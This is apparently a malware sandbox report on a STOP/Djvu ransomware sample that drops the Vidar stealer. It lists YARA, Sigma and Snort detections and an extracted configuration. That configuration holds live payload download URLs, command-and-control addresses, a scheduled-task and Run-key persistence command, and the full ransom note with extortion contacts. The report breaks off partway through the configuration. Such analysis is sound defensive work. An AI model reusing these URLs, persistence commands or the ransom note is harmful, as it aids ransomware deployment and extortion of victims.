5.2.SUwX12D2S6.exe.5e615a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
5.2.SUwX12D2S6.exe.5e615a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0.2.SUwX12D2S6.exe.5e115a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0.2.SUwX12D2S6.exe.5e115a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0.2.SUwX12D2S6.exe.5e115a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
7.2.build2.exe.35615a0.1.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
12.2.SUwX12D2S6.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
12.2.SUwX12D2S6.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
12.2.SUwX12D2S6.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
23.2.SUwX12D2S6.exe.5ed15a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
23.2.SUwX12D2S6.exe.5ed15a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
23.2.SUwX12D2S6.exe.5ed15a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
11.2.SUwX12D2S6.exe.5e715a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
11.2.SUwX12D2S6.exe.5e715a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
11.2.SUwX12D2S6.exe.5e715a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
23.2.SUwX12D2S6.exe.5ed15a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
23.2.SUwX12D2S6.exe.5ed15a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
23.2.SUwX12D2S6.exe.5ed15a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
5.2.SUwX12D2S6.exe.5e615a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
5.2.SUwX12D2S6.exe.5e615a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
5.2.SUwX12D2S6.exe.5e615a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
4.2.SUwX12D2S6.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
4.2.SUwX12D2S6.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
4.2.SUwX12D2S6.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
4.2.SUwX12D2S6.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
4.2.SUwX12D2S6.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
4.2.SUwX12D2S6.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
1.2.SUwX12D2S6.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
1.2.SUwX12D2S6.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
1.2.SUwX12D2S6.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
11.2.SUwX12D2S6.exe.5e715a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
11.2.SUwX12D2S6.exe.5e715a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
11.2.SUwX12D2S6.exe.5e715a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
3.2.SUwX12D2S6.exe.5de15a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
3.2.SUwX12D2S6.exe.5de15a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
3.2.SUwX12D2S6.exe.5de15a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
6.2.SUwX12D2S6.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
6.2.SUwX12D2S6.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
6.2.SUwX12D2S6.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
1.2.SUwX12D2S6.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
1.2.SUwX12D2S6.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
1.2.SUwX12D2S6.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
12.2.SUwX12D2S6.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
12.2.SUwX12D2S6.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
12.2.SUwX12D2S6.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
3.2.SUwX12D2S6.exe.5de15a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
3.2.SUwX12D2S6.exe.5de15a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
3.2.SUwX12D2S6.exe.5de15a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
Click to see the 114 entries

Sigma Signatures

System Summary

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe" --AutoStart, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\SUwX12D2S6.exe, ProcessId: 7276, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysHelper

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe", CommandLine: /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build3.exe" , ParentImage: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build3.exe, ParentProcessId: 8088, ParentProcessName: build3.exe, ProcessCommandLine: /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe", ProcessId: 8104, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Snort Signatures

ET TROJAN Win32/Vodkagats Loader Requesting Payload - Source IP: 192.168.2.4 - Destination IP: 189.232.19.193

Timestamp:	04/24/24-10:27:13.117598
SID:	2036333
Source Port:	49736
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Vodkagats Loader Requesting Payload - Source IP: 192.168.2.4 - Destination IP: 175.119.10.231

Timestamp:	04/24/24-10:27:10.047617
SID:	2036333
Source Port:	49733
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Filecoder.STOP Variant Public Key Download - Source IP: 189.232.19.193 - Destination IP: 192.168.2.4

Timestamp:	04/24/24-10:27:10.777081
SID:	2036335
Source Port:	80
Destination Port:	49735
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Potential Dridex.Maldoc Minimal Executable Request - Source IP: 192.168.2.4 - Destination IP: 175.119.10.231

Timestamp:	04/24/24-10:27:10.047617
SID:	2020826
Source Port:	49733
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Filecoder.STOP Variant Public Key Download - Source IP: 189.232.19.193 - Destination IP: 192.168.2.4

Timestamp:	04/24/24-10:27:10.787317
SID:	2036335
Source Port:	80
Destination Port:	49734
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN STOP Ransomware CnC Activity - Source IP: 192.168.2.4 - Destination IP: 189.232.19.193

Timestamp:	04/24/24-10:27:10.198898
SID:	2833438
Source Port:	49735
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Potential Dridex.Maldoc Minimal Executable Request - Source IP: 192.168.2.4 - Destination IP: 189.232.19.193

Timestamp:	04/24/24-10:27:13.117598
SID:	2020826
Source Port:	49736
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: SUwX12D2S6.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://sdfjhuz.com/dl/build2.exe$run

Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Avira: detection malicious, Label: HEUR/AGEN.1313019
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Avira: detection malicious, Label: TR/AD.MalwareCrypter.llbpm

Found malware configuration

Source: 00000008.00000002.1966489860.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Malware Configuration Extractor: Vidar {"C2 url": ["https://steamcommunity.com/profiles/76561199673019888"]}
Source: 00000000.00000002.1676946978.0000000005E10000.00000040.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Djvu {"Download URLs": ["http://sdfjhuz.com/dl/build2.exe", "http://cajgtus.com/files/1/build3.exe"], "C2 url": "http://cajgtus.com/test2/get.php", "Ransom note file": "_README.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nDo not ask assistants from youtube and recovery data sites for help in recovering your data.\r\nThey can use your free decryption quota and scam you.\r\nOur contact is emails in this text document only.\r\nYou can get and look video overview decrypt tool:\r\nhttps://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27\r\nPrice of private key and decrypt software is $999.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $499.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@freshingmail.top\r\n\r\nReserve e-mail address to contact us:\r\ndatarestorehelpyou@airmail.cc\r\n\r\nYour personal ID:\r\n0864PsawqS", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", 